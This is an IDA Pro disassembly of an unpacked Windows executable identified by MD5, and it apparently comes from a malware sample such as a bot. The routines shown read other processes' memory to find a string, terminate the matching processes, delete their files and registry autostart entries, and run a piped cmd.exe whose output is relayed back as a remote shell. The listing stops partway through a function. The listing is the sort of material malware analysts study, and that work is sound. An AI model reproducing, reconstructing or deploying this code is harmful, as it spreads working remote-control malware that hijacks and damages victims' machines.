;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
; Input MD5 : 5B31FA30A0E765DF69BF2CE5A5A7951D
; File Name : u:\work\5b31fa30a0e765df69bf2ce5a5a7951d_unpacked.exe
; Format : Portable executable for 80386 (PE)
; Imagebase : 400000
; Section 1. (virtual address 00001000)
; Virtual size : 00016000 ( 90112.)
; Section size in file : 00016000 ( 90112.)
; Offset to raw data for section: 00001000
; Flags E0000020: Text Executable Readable Writable
; Alignment : default
unicode macro page,string,zero
irpc c,<string>
db '&c', page
endm
ifnb <zero>
dw zero
endif
endm
.686p
.mmx
.model flat
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
_text segment para public 'CODE' use32
assume cs:_text
;org 401000h
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401000 proc near ; CODE XREF: sub_401146+31p
; sub_401146+43p ...
var_268 = dword ptr -268h
var_264 = dword ptr -264h
var_260 = byte ptr -260h
var_224 = dword ptr -224h
var_220 = dword ptr -220h
var_21C = dword ptr -21Ch
var_218 = byte ptr -218h
var_114 = dword ptr -114h
var_110 = dword ptr -110h
var_10C = byte ptr -10Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 268h
and [ebp+var_8], 0
and [ebp+var_4], 0
jmp short loc_40101A
; ---------------------------------------------------------------------------
loc_401013: ; CODE XREF: sub_401000+13Cj
mov eax, [ebp+var_4]
inc eax
mov [ebp+var_4], eax
loc_40101A: ; CODE XREF: sub_401000+11j
mov eax, [ebp+var_4]
cmp off_418000[eax*4], 0
jz loc_401141
mov eax, [ebp+var_4]
push off_418000[eax*4]
lea eax, [ebp+var_260]
push eax
call sub_416B3A ; strcpy
pop ecx
pop ecx
lea eax, [ebp+var_260]
push eax
call sub_4105FB
pop ecx
lea eax, [ebp+var_110]
push eax
push 3
push 0
lea eax, [ebp+var_260]
push eax
push [ebp+arg_0]
call ds:dword_417008 ; RegOpenKeyExA
and [ebp+var_220], 0
jmp short loc_401081
; ---------------------------------------------------------------------------
loc_401074: ; CODE XREF: sub_401000:loc_40112Bj
mov eax, [ebp+var_220]
inc eax
mov [ebp+var_220], eax
loc_401081: ; CODE XREF: sub_401000+72j
mov [ebp+var_21C], 104h
mov [ebp+var_224], 104h
lea eax, [ebp+var_224]
push eax
lea eax, [ebp+var_10C]
push eax
lea eax, [ebp+var_114]
push eax
push 0
lea eax, [ebp+var_21C]
push eax
lea eax, [ebp+var_218]
push eax
push [ebp+var_220]
push [ebp+var_110]
call ds:dword_417000 ; RegEnumValueA
mov [ebp+var_264], eax
cmp [ebp+var_264], 0
jz short loc_4010DD
jmp short loc_401130
; ---------------------------------------------------------------------------
loc_4010DD: ; CODE XREF: sub_401000+D9j
cmp [ebp+var_114], 1
jnz short loc_40112B
push [ebp+arg_4]
push [ebp+var_224]
lea eax, [ebp+var_10C]
push eax
call sub_407ACA
add esp, 0Ch
mov [ebp+var_268], eax
cmp [ebp+var_268], 0
jz short loc_40112B
lea eax, [ebp+var_218]
push eax
push [ebp+var_110]
call ds:dword_417004 ; RegDeleteValueA
test eax, eax
jnz short loc_40112B
mov eax, [ebp+var_8]
inc eax
mov [ebp+var_8], eax
loc_40112B: ; CODE XREF: sub_401000+E4j
; sub_401000+10Bj ...
jmp loc_401074
; ---------------------------------------------------------------------------
loc_401130: ; CODE XREF: sub_401000+DBj
push [ebp+var_110]
call ds:dword_417028 ; RegCloseKey
jmp loc_401013
; ---------------------------------------------------------------------------
loc_401141: ; CODE XREF: sub_401000+25j
mov eax, [ebp+var_8]
leave
retn
sub_401000 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401146 proc near ; CODE XREF: sub_401244+459p
; sub_40A9CF+A72p
var_10C = dword ptr -10Ch
var_108 = byte ptr -108h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10Ch
push 80h
push [ebp+arg_0]
call ds:dword_4170A8 ; SetFileAttributesA
test eax, eax
jnz short loc_401166
jmp locret_401242
; ---------------------------------------------------------------------------
loc_401166: ; CODE XREF: sub_401146+19j
push [ebp+arg_0]
call ds:dword_4170AC ; DeleteFileA
push [ebp+arg_0]
push 80000001h
call sub_401000
pop ecx
pop ecx
mov [ebp+var_4], eax
push [ebp+arg_0]
push 80000002h
call sub_401000
pop ecx
pop ecx
mov ecx, [ebp+var_4]
add ecx, eax
mov [ebp+var_4], ecx
cmp [ebp+var_4], 0
jnz locret_401242
push 104h
push [ebp+arg_0]
lea eax, [ebp+var_108]
push eax
call sub_407A56
add esp, 0Ch
lea eax, [ebp+var_108]
push eax
call sub_416B40 ; strlen
pop ecx
mov [ebp+var_10C], eax
jmp short loc_4011DB
; ---------------------------------------------------------------------------
loc_4011CE: ; CODE XREF: sub_401146:loc_40121Aj
mov eax, [ebp+var_10C]
dec eax
mov [ebp+var_10C], eax
loc_4011DB: ; CODE XREF: sub_401146+86j
cmp [ebp+var_10C], 0
jz short loc_40121C
mov eax, [ebp+arg_0]
add eax, [ebp+var_10C]
movsx eax, byte ptr [eax-1]
cmp eax, 5Ch
jnz short loc_40121A
push 104h
mov eax, [ebp+var_10C]
lea eax, [ebp+eax+var_108]
push eax
lea eax, [ebp+var_108]
push eax
call sub_407A56
add esp, 0Ch
jmp short loc_40121C
; ---------------------------------------------------------------------------
loc_40121A: ; CODE XREF: sub_401146+AEj
jmp short loc_4011CE
; ---------------------------------------------------------------------------
loc_40121C: ; CODE XREF: sub_401146+9Cj
; sub_401146+D2j
lea eax, [ebp+var_108]
push eax
push 80000001h
call sub_401000
pop ecx
pop ecx
lea eax, [ebp+var_108]
push eax
push 80000002h
call sub_401000
pop ecx
pop ecx
locret_401242: ; CODE XREF: sub_401146+1Bj
; sub_401146+56j
leave
retn
sub_401146 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401244 proc near ; DATA XREF: sub_4017AA+9Do
var_3E8 = dword ptr -3E8h
var_3E4 = byte ptr -3E4h
var_3E0 = dword ptr -3E0h
var_3DC = dword ptr -3DCh
var_3D8 = dword ptr -3D8h
var_3D4 = dword ptr -3D4h
var_3D0 = dword ptr -3D0h
var_3CC = byte ptr -3CCh
var_2C8 = dword ptr -2C8h
var_2C4 = dword ptr -2C4h
var_2C0 = dword ptr -2C0h
var_2BC = dword ptr -2BCh
var_2B8 = dword ptr -2B8h
var_2B4 = dword ptr -2B4h
var_2B0 = dword ptr -2B0h
var_2AC = dword ptr -2ACh
var_2A8 = byte ptr -2A8h
var_2A7 = dword ptr -2A7h
var_2A3 = byte ptr -2A3h
var_1A3 = byte ptr -1A3h
var_B = byte ptr -0Bh
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 3E8h
push esi
push edi
push 2ACh
push [ebp+arg_0]
lea eax, [ebp+var_2AC]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push [ebp+arg_0]
call sub_416B4C ; free
pop ecx
movzx eax, [ebp+var_2A8]
test eax, eax
jz short loc_40129D
lea eax, [ebp+var_2A3]
push eax
mov eax, [ebp+var_2AC]
push dword ptr [eax]
push offset dword_418144
lea eax, [ebp+var_1A3]
push eax
call sub_40D53F
add esp, 10h
loc_40129D: ; CODE XREF: sub_401244+34j
call sub_406041
mov [ebp+var_2B4], eax
cmp [ebp+var_2B4], 0
jnz short loc_4012C4
push [ebp+var_2AC]
call sub_409763
pop ecx
xor eax, eax
jmp loc_4017A4
; ---------------------------------------------------------------------------
loc_4012C4: ; CODE XREF: sub_401244+6Bj
push 10000h
call sub_416B46 ; malloc
pop ecx
mov [ebp+var_2B8], eax
and [ebp+var_2BC], 0
and [ebp+var_2B0], 0
jmp short loc_4012F2
; ---------------------------------------------------------------------------
loc_4012E5: ; CODE XREF: sub_401244+E2j
; sub_401244+12Bj ...
mov eax, [ebp+var_2B0]
inc eax
mov [ebp+var_2B0], eax
loc_4012F2: ; CODE XREF: sub_401244+9Fj
mov eax, [ebp+var_2B4]
mov ecx, [ebp+var_2B0]
cmp ecx, [eax]
jge loc_401710
mov esi, [ebp+var_2B0]
imul esi, 114h
mov eax, [ebp+var_2B4]
mov edi, [eax+4]
call ds:dword_4170E8 ; GetCurrentProcessId
cmp [edi+esi], eax
jnz short loc_401328
jmp short loc_4012E5
; ---------------------------------------------------------------------------
loc_401328: ; CODE XREF: sub_401244+E0j
push 104h
lea eax, [ebp+var_3CC]
push eax
push 0
call ds:dword_41708C ; GetModuleHandleA
push eax
call ds:dword_417090 ; GetModuleFileNameA
mov eax, [ebp+var_2B0]
imul eax, 114h
mov ecx, [ebp+var_2B4]
mov ecx, [ecx+4]
lea eax, [ecx+eax+0Ch]
push eax
lea eax, [ebp+var_3CC]
push eax
call sub_416F74 ; _stricmp
pop ecx
pop ecx
test eax, eax
jnz short loc_401374
jmp loc_4012E5
; ---------------------------------------------------------------------------
loc_401374: ; CODE XREF: sub_401244+129j
mov eax, [ebp+var_2B0]
imul eax, 114h
mov ecx, [ebp+var_2B4]
mov ecx, [ecx+4]
push dword ptr [ecx+eax]
push 0
movzx eax, [ebp+var_2A8]
neg eax
sbb eax, eax
add eax, 11h
push eax
call ds:dword_417094 ; OpenProcess
mov [ebp+var_2C4], eax
cmp [ebp+var_2C4], 0
jnz short loc_4013B7
jmp loc_4012E5
; ---------------------------------------------------------------------------
loc_4013B7: ; CODE XREF: sub_401244+16Cj
and [ebp+var_2C0], 0
and [ebp+var_2C8], 0
loc_4013C5: ; CODE XREF: sub_401244:loc_4016FAj
mov eax, [ebp+var_2B0]
imul eax, 114h
mov ecx, [ebp+var_2B4]
mov ecx, [ecx+4]
mov eax, [ecx+eax+8]
sub eax, [ebp+var_2C0]
cmp eax, 10000h
jbe short loc_4013F7
mov [ebp+var_3E8], 10000h
jmp short loc_40141C
; ---------------------------------------------------------------------------
loc_4013F7: ; CODE XREF: sub_401244+1A5j
mov eax, [ebp+var_2B0]
imul eax, 114h
mov ecx, [ebp+var_2B4]
mov ecx, [ecx+4]
mov eax, [ecx+eax+8]
sub eax, [ebp+var_2C0]
mov [ebp+var_3E8], eax
loc_40141C: ; CODE XREF: sub_401244+1B1j
mov eax, [ebp+var_3E8]
mov [ebp+var_3D0], eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_3D0]
push [ebp+var_2B8]
mov eax, [ebp+var_2B0]
imul eax, 114h
mov ecx, [ebp+var_2B4]
mov ecx, [ecx+4]
mov eax, [ecx+eax+4]
add eax, [ebp+var_2C0]
push eax
push [ebp+var_2C4]
call ds:dword_417098 ; ReadProcessMemory
mov [ebp+var_3D4], eax
cmp [ebp+var_3D4], 0
jz loc_4016C5
cmp [ebp+var_2C8], 0
jz loc_4016C5
and [ebp+var_3D8], 0
and [ebp+var_3DC], 0
loc_401495: ; DATA XREF: .data:0041AD00o
jmp short loc_4014A4
; ---------------------------------------------------------------------------
loc_401497: ; CODE XREF: sub_401244:loc_4015DBj
mov eax, [ebp+var_3DC]
inc eax
mov [ebp+var_3DC], eax
loc_4014A4: ; CODE XREF: sub_401244:loc_401495j
mov eax, [ebp+var_2C8]
sub eax, [ebp+var_2A7]
cmp [ebp+var_3DC], eax
ja loc_4015E0
mov eax, [ebp+var_2B8]
add eax, [ebp+var_3DC]
movsx eax, byte ptr [eax]
movsx ecx, [ebp+var_2A3]
cmp eax, ecx
jz short loc_401514
mov eax, [ebp+var_2B8]
add eax, [ebp+var_3DC]
movsx eax, byte ptr [eax]
movsx ecx, [ebp+var_2A3]
add ecx, 20h
cmp eax, ecx
jz short loc_401514
mov eax, [ebp+var_2B8]
add eax, [ebp+var_3DC]
movsx eax, byte ptr [eax]
movsx ecx, [ebp+var_2A3]
sub ecx, 20h
cmp eax, ecx
jnz loc_4015DB
loc_401514: ; CODE XREF: sub_401244+290j
; sub_401244+2ADj
mov [ebp+var_3E0], 1
jmp short loc_40152D
; ---------------------------------------------------------------------------
loc_401520: ; CODE XREF: sub_401244:loc_4015D6j
mov eax, [ebp+var_3E0]
inc eax
mov [ebp+var_3E0], eax
loc_40152D: ; CODE XREF: sub_401244+2DAj
mov eax, [ebp+var_3E0]
movsx eax, [ebp+eax+var_2A3]
test eax, eax
jnz short loc_401556
mov eax, [ebp+var_2B8]
add eax, [ebp+var_3DC]
mov [ebp+var_3D8], eax
jmp loc_40179F
; ---------------------------------------------------------------------------
loc_401556: ; CODE XREF: sub_401244+2F9j
mov eax, [ebp+var_3E0]
movsx eax, [ebp+eax+var_2A3]
mov ecx, [ebp+var_3DC]
add ecx, [ebp+var_3E0]
mov edx, [ebp+var_2B8]
movsx ecx, byte ptr [edx+ecx]
cmp eax, ecx
jz short loc_4015D6
mov eax, [ebp+var_3E0]
movsx eax, [ebp+eax+var_2A3]
mov ecx, [ebp+var_3DC]
add ecx, [ebp+var_3E0]
mov edx, [ebp+var_2B8]
movsx ecx, byte ptr [edx+ecx]
add ecx, 20h
cmp eax, ecx
jz short loc_4015D6
mov eax, [ebp+var_3E0]
movsx eax, [ebp+eax+var_2A3]
mov ecx, [ebp+var_3DC]
add ecx, [ebp+var_3E0]
mov edx, [ebp+var_2B8]
movsx ecx, byte ptr [edx+ecx]
sub ecx, 20h
cmp eax, ecx
jz short loc_4015D6
jmp short loc_4015DB
; ---------------------------------------------------------------------------
loc_4015D6: ; CODE XREF: sub_401244+338j
; sub_401244+363j ...
jmp loc_401520
; ---------------------------------------------------------------------------
loc_4015DB: ; CODE XREF: sub_401244+2CAj
; sub_401244+390j
jmp loc_401497
; ---------------------------------------------------------------------------
loc_4015E0: ; CODE XREF: sub_401244+272j
; sub_401244:loc_40179Fj
cmp [ebp+var_3D8], 0
jz loc_4016C5
mov eax, [ebp+var_2BC]
inc eax
mov [ebp+var_2BC], eax
movzx eax, [ebp+var_2A8]
test eax, eax
jz short loc_401675
push 3E8h
call ds:dword_41709C ; Sleep
mov al, [ebp+var_B]
mov [ebp+var_3E4], al
and [ebp+var_B], 0
mov eax, [ebp+var_2B0]
imul eax, 114h
mov ecx, [ebp+var_2B4]
mov ecx, [ecx+4]
push dword ptr [ecx+eax]
mov eax, [ebp+var_2B0]
imul eax, 114h
mov ecx, [ebp+var_2B4]
mov ecx, [ecx+4]
lea eax, [ecx+eax+0Ch]
push eax
lea eax, [ebp+var_2A3]
push eax
push offset dword_41811C
lea eax, [ebp+var_1A3]
push eax
call sub_40D53F
add esp, 14h
mov al, [ebp+var_3E4]
mov [ebp+var_B], al
jmp short loc_4016A3
; ---------------------------------------------------------------------------
loc_401675: ; CODE XREF: sub_401244+3BFj
push 0
push [ebp+var_2C4]
call ds:dword_4170A0 ; TerminateProcess
mov eax, [ebp+var_2B0]
imul eax, 114h
mov ecx, [ebp+var_2B4]
mov ecx, [ecx+4]
lea eax, [ecx+eax+0Ch]
push eax
call sub_401146
pop ecx
loc_4016A3: ; CODE XREF: sub_401244+42Fj
mov eax, [ebp+var_2AC]
cmp dword ptr [eax+4], 0
jz short loc_4016C0
push [ebp+var_2C4]
call ds:dword_4170A4 ; CloseHandle
jmp loc_40179A
; ---------------------------------------------------------------------------
loc_4016C0: ; CODE XREF: sub_401244+469j
jmp loc_401795
; ---------------------------------------------------------------------------
loc_4016C5: ; CODE XREF: sub_401244+230j
; sub_401244+23Dj ...
mov eax, [ebp+var_2C0]
add eax, [ebp+var_3D0]
mov [ebp+var_2C0], eax
mov eax, [ebp+var_2B0]
imul eax, 114h
mov ecx, [ebp+var_2B4]
mov ecx, [ecx+4]
mov edx, [ebp+var_2C0]
cmp edx, [ecx+eax+8]
jnz short loc_4016FA
jmp short loc_4016FF
; ---------------------------------------------------------------------------
loc_4016FA: ; CODE XREF: sub_401244+4B2j
jmp loc_4013C5
; ---------------------------------------------------------------------------
loc_4016FF: ; CODE XREF: sub_401244+4B4j
; sub_401244:loc_401795j
push [ebp+var_2C4]
call ds:dword_4170A4 ; CloseHandle
jmp loc_4012E5
; ---------------------------------------------------------------------------
loc_401710: ; CODE XREF: sub_401244+BCj
; sub_401244:loc_40179Aj
push [ebp+var_2B4]
call sub_40636E
pop ecx
push [ebp+var_2B8]
call sub_416B4C ; free
pop ecx
movzx eax, [ebp+var_2A8]
test eax, eax
jz short loc_401785
push 3E8h
call ds:dword_41709C ; Sleep
cmp [ebp+var_2BC], 0
jnz short loc_401764
lea eax, [ebp+var_2A3]
push eax
push offset dword_4180F8
lea eax, [ebp+var_1A3]
push eax
call sub_40D53F
add esp, 0Ch
jmp short loc_401785
; ---------------------------------------------------------------------------
loc_401764: ; CODE XREF: sub_401244+501j
lea eax, [ebp+var_2A3]
push eax
push [ebp+var_2BC]
push offset dword_4180CC
lea eax, [ebp+var_1A3]
push eax
call sub_40D53F
add esp, 10h
loc_401785: ; CODE XREF: sub_401244+4EDj
; sub_401244+51Ej
push [ebp+var_2AC]
call sub_409763
pop ecx
xor eax, eax
jmp short loc_4017A4
; ---------------------------------------------------------------------------
loc_401795: ; CODE XREF: sub_401244:loc_4016C0j
jmp loc_4016FF
; ---------------------------------------------------------------------------
loc_40179A: ; CODE XREF: sub_401244+477j
jmp loc_401710
; ---------------------------------------------------------------------------
loc_40179F: ; CODE XREF: sub_401244+30Dj
jmp loc_4015E0
; ---------------------------------------------------------------------------
loc_4017A4: ; CODE XREF: sub_401244+7Bj
; sub_401244+54Fj
pop edi
pop esi
leave
retn 4
sub_401244 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4017AA proc near ; CODE XREF: sub_40A9CF+AA1p
; sub_40A9CF+AD2p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
cmp [ebp+arg_4], 0
jz short loc_4017C2
push [ebp+arg_4]
call sub_416B40 ; strlen
pop ecx
test eax, eax
jnz short loc_4017C7
loc_4017C2: ; CODE XREF: sub_4017AA+9j
jmp locret_401854
; ---------------------------------------------------------------------------
loc_4017C7: ; CODE XREF: sub_4017AA+16j
push 2ACh
call sub_416B46 ; malloc
pop ecx
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_4017DD
jmp short locret_401854
; ---------------------------------------------------------------------------
loc_4017DD: ; CODE XREF: sub_4017AA+2Fj
mov eax, [ebp+var_4]
mov cl, [ebp+arg_8]
mov [eax+4], cl
push [ebp+arg_4]
call sub_416B40 ; strlen
pop ecx
mov ecx, [ebp+var_4]
mov [ecx+5], eax
push 100h
push [ebp+arg_4]
mov eax, [ebp+var_4]
add eax, 9
push eax
call sub_416B58 ; strncpy
add esp, 0Ch
push [ebp+arg_0]
mov eax, [ebp+var_4]
add eax, 109h
push eax
call sub_405F67
pop ecx
pop ecx
movzx eax, [ebp+arg_8]
test eax, eax
jz short loc_401830
mov [ebp+var_8], offset aListing ; "Listing"
jmp short loc_401837
; ---------------------------------------------------------------------------
loc_401830: ; CODE XREF: sub_4017AA+7Bj
mov [ebp+var_8], offset aKilling ; "Killing"
loc_401837: ; CODE XREF: sub_4017AA+84j
push [ebp+arg_4]
push [ebp+var_8]
push offset dword_418174
push 0
push [ebp+var_4]
push offset sub_401244
call sub_4095A4
add esp, 18h
locret_401854: ; CODE XREF: sub_4017AA:loc_4017C2j
; sub_4017AA+31j
leave
retn
sub_4017AA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401856 proc near ; CODE XREF: sub_401981+A8p
; sub_401981+E1p ...
push ebp
mov ebp, esp
cmp dword_41DE24, 0FFFFFFFFh
jz short loc_40186E
push dword_41DE24
call ds:dword_4170A4 ; CloseHandle
loc_40186E: ; CODE XREF: sub_401856+Aj
cmp dword_41DE18, 0FFFFFFFFh
jz short loc_401883
push dword_41DE18
call ds:dword_4170A4 ; CloseHandle
loc_401883: ; CODE XREF: sub_401856+1Fj
cmp dword_41DE1C, 0FFFFFFFFh
jz short loc_401898
push dword_41DE1C
call ds:dword_4170A4 ; CloseHandle
loc_401898: ; CODE XREF: sub_401856+34j
cmp dword_41DE20, 0FFFFFFFFh
jz short loc_4018AD
push dword_41DE20
call ds:dword_4170A4 ; CloseHandle
loc_4018AD: ; CODE XREF: sub_401856+49j
pop ebp
retn
sub_401856 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4018AF proc near ; CODE XREF: sub_401981+28Ap
; sub_401981+395p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 200h
mov eax, [ebp+arg_0]
movsx eax, byte ptr [eax+189h]
test eax, eax
jnz short loc_4018D4
mov eax, [ebp+arg_0]
movsx eax, byte ptr [eax+18Dh]
test eax, eax
jz short loc_401922
loc_4018D4: ; CODE XREF: sub_4018AF+15j
; sub_4018AF:loc_401920j
push 32h
call ds:dword_41709C ; Sleep
mov eax, [ebp+arg_0]
movsx eax, byte ptr [eax+189h]
test eax, eax
jz short loc_4018FE
call sub_416B64 ; clock
sub eax, dword_41DE2C
cmp eax, 1F4h
jb short loc_4018FE
jmp short loc_401922
; ---------------------------------------------------------------------------
loc_4018FE: ; CODE XREF: sub_4018AF+39j
; sub_4018AF+4Bj
mov eax, [ebp+arg_0]
movsx eax, byte ptr [eax+18Dh]
test eax, eax
jz short loc_401920
call sub_416B64 ; clock
sub eax, dword_41DE2C
cmp eax, 0FAh
jb short loc_401920
jmp short loc_401922
; ---------------------------------------------------------------------------
loc_401920: ; CODE XREF: sub_4018AF+5Bj
; sub_4018AF+6Dj
jmp short loc_4018D4
; ---------------------------------------------------------------------------
loc_401922: ; CODE XREF: sub_4018AF+23j
; sub_4018AF+4Dj ...
call sub_416B64 ; clock
mov dword_41DE2C, eax
mov eax, [ebp+arg_4]
movsx eax, byte ptr [eax]
cmp eax, 0Ah
jz short loc_401942
mov eax, [ebp+arg_4]
movsx eax, byte ptr [eax]
cmp eax, 0Dh
jnz short loc_401957
loc_401942: ; CODE XREF: sub_4018AF+86j
push offset dword_4181A4
lea eax, [ebp+var_200]
push eax
call sub_416B5E ; sprintf
pop ecx
pop ecx
jmp short loc_40196E
; ---------------------------------------------------------------------------
loc_401957: ; CODE XREF: sub_4018AF+91j
push 200h
push [ebp+arg_4]
lea eax, [ebp+var_200]
push eax
call sub_407A56
add esp, 0Ch
loc_40196E: ; CODE XREF: sub_4018AF+A6j
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call sub_40D53F
pop ecx
pop ecx
leave
retn
sub_4018AF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401981 proc near ; DATA XREF: sub_401D6E+88o
var_730 = dword ptr -730h
var_72C = dword ptr -72Ch
var_728 = dword ptr -728h
var_724 = dword ptr -724h
var_720 = dword ptr -720h
var_714 = dword ptr -714h
var_510 = byte ptr -510h
var_36C = dword ptr -36Ch
var_368 = dword ptr -368h
var_364 = dword ptr -364h
var_360 = dword ptr -360h
var_334 = dword ptr -334h
var_330 = word ptr -330h
var_328 = dword ptr -328h
var_324 = dword ptr -324h
var_320 = dword ptr -320h
var_31C = byte ptr -31Ch
var_318 = dword ptr -318h
var_314 = dword ptr -314h
var_310 = dword ptr -310h
var_30C = byte ptr -30Ch
var_208 = dword ptr -208h
var_204 = byte ptr -204h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 730h
push 3A7h
push [ebp+arg_0]
lea eax, [ebp+var_714]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push [ebp+arg_0]
call sub_416B4C ; free
pop ecx
call sub_416B64 ; clock
sub eax, 1F4h
mov dword_41DE2C, eax
push 0
lea eax, [ebp+var_30C]
push eax
push 104h
push 0
push offset aCmd_exe ; "cmd.exe"
push 0
call ds:dword_41706C ; SearchPathA
test eax, eax
jnz short loc_4019ED
push [ebp+var_714]
call sub_409763
pop ecx
xor eax, eax
jmp locret_401D35
; ---------------------------------------------------------------------------
loc_4019ED: ; CODE XREF: sub_401981+57j
mov [ebp+var_318], 0Ch
mov [ebp+var_310], 1
and [ebp+var_314], 0
push 0
lea eax, [ebp+var_318]
push eax
lea eax, [ebp+var_368]
push eax
lea eax, [ebp+var_364]
push eax
call ds:dword_417070 ; CreatePipe
test eax, eax
jnz short loc_401A41
call sub_401856
push [ebp+var_714]
call sub_409763
pop ecx
xor eax, eax
jmp locret_401D35
; ---------------------------------------------------------------------------
loc_401A41: ; CODE XREF: sub_401981+A6j
push 0
lea eax, [ebp+var_318]
push eax
lea eax, [ebp+var_36C]
push eax
lea eax, [ebp+var_728]
push eax
call ds:dword_417070 ; CreatePipe
test eax, eax
jnz short loc_401A7A
call sub_401856
push [ebp+var_714]
call sub_409763
pop ecx
xor eax, eax
jmp locret_401D35
; ---------------------------------------------------------------------------
loc_401A7A: ; CODE XREF: sub_401981+DFj
push 3
push 0
push 0
push offset dword_41DE20
call ds:dword_417074 ; GetCurrentProcess
push eax
push [ebp+var_36C]
call ds:dword_417074 ; GetCurrentProcess
push eax
call ds:dword_4170F0 ; DuplicateHandle
test eax, eax
jnz short loc_401ABB
call sub_401856
push [ebp+var_714]
call sub_409763
pop ecx
xor eax, eax
jmp locret_401D35
; ---------------------------------------------------------------------------
loc_401ABB: ; CODE XREF: sub_401981+120j
push 10h
push 0
lea eax, [ebp+var_724]
push eax
call sub_416B6A ; memset
add esp, 0Ch
push 44h
push 0
lea eax, [ebp+var_360]
push eax
call sub_416B6A ; memset
add esp, 0Ch
mov [ebp+var_360], 44h
mov [ebp+var_334], 101h
and [ebp+var_330], 0
mov eax, [ebp+var_728]
mov [ebp+var_328], eax
mov eax, [ebp+var_368]
mov [ebp+var_324], eax
mov eax, [ebp+var_368]
mov [ebp+var_320], eax
lea eax, [ebp+var_724]
push eax
lea eax, [ebp+var_360]
push eax
push 0
push 0
push 0
push 1
push 0
push 0
push offset byte_41DE30
lea eax, [ebp+var_30C]
push eax
call ds:dword_41707C ; CreateProcessA
test eax, eax
jnz short loc_401B69
call sub_401856
push [ebp+var_714]
call sub_409763
pop ecx
xor eax, eax
jmp locret_401D35
; ---------------------------------------------------------------------------
loc_401B69: ; CODE XREF: sub_401981+1CEj
push [ebp+var_728]
call ds:dword_4170A4 ; CloseHandle
mov eax, [ebp+var_364]
mov dword_41DE24, eax
mov eax, [ebp+var_36C]
mov dword_41DE18, eax
mov eax, [ebp+var_724]
mov dword_41DE1C, eax
push [ebp+var_720]
call ds:dword_4170A4 ; CloseHandle
and [ebp+var_4], 0
and [ebp+var_208], 0
loc_401BAD: ; CODE XREF: sub_401981+2E9j
; sub_401981+39Cj
mov eax, [ebp+var_714]
cmp dword ptr [eax+4], 0
jz short loc_401BBE
jmp loc_401D22
; ---------------------------------------------------------------------------
loc_401BBE: ; CODE XREF: sub_401981+236j
and [ebp+var_208], 0
push 200h
push 0
lea eax, [ebp+var_204]
push eax
call sub_416B6A ; memset
add esp, 0Ch
push 0
push 0
lea eax, [ebp+var_4]
push eax
push 200h
lea eax, [ebp+var_204]
push eax
push dword_41DE24
call ds:dword_417080 ; PeekNamedPipe
test eax, eax
jnz short loc_401C17
push offset aCouldNotReadDa ; "Could not read data from process."
lea eax, [ebp+var_510]
push eax
call sub_4018AF
pop ecx
pop ecx
jmp loc_401D22
; ---------------------------------------------------------------------------
loc_401C17: ; CODE XREF: sub_401981+27Cj
cmp [ebp+var_4], 0
jnz short loc_401C6F
mov [ebp+var_730], 103h
lea eax, [ebp+var_730]
push eax
push dword_41DE1C
call ds:dword_417084 ; GetExitCodeProcess
test eax, eax
jz short loc_401C62
cmp [ebp+var_730], 103h
jz short loc_401C62
push offset aCmd_exeProcess ; "Cmd.exe process has terminated."
lea eax, [ebp+var_510]
push eax
call sub_40D53F
pop ecx
pop ecx
jmp loc_401D22
; ---------------------------------------------------------------------------
loc_401C62: ; CODE XREF: sub_401981+2BBj
; sub_401981+2C7j
push 0Ah
call ds:dword_41709C ; Sleep
jmp loc_401BAD
; ---------------------------------------------------------------------------
loc_401C6F: ; CODE XREF: sub_401981+29Aj
and [ebp+var_72C], 0
jmp short loc_401C85
; ---------------------------------------------------------------------------
loc_401C78: ; CODE XREF: sub_401981:loc_401CAFj
mov eax, [ebp+var_72C]
inc eax
mov [ebp+var_72C], eax
loc_401C85: ; CODE XREF: sub_401981+2F5j
mov eax, [ebp+var_72C]
cmp eax, [ebp+var_4]
jnb short loc_401CB1
mov eax, [ebp+var_72C]
movsx eax, [ebp+eax+var_204]
cmp eax, 0Ah
jnz short loc_401CAF
mov [ebp+var_208], 1
jmp short loc_401CB1
; ---------------------------------------------------------------------------
loc_401CAF: ; CODE XREF: sub_401981+320j
jmp short loc_401C78
; ---------------------------------------------------------------------------
loc_401CB1: ; CODE XREF: sub_401981+30Dj
; sub_401981+32Cj
cmp [ebp+var_208], 0
jz short loc_401CC6
mov eax, [ebp+var_72C]
inc eax
mov [ebp+var_4], eax
jmp short loc_401CCD
; ---------------------------------------------------------------------------
loc_401CC6: ; CODE XREF: sub_401981+337j
mov [ebp+var_4], 200h
loc_401CCD: ; CODE XREF: sub_401981+343j
push 200h
push 0
lea eax, [ebp+var_204]
push eax
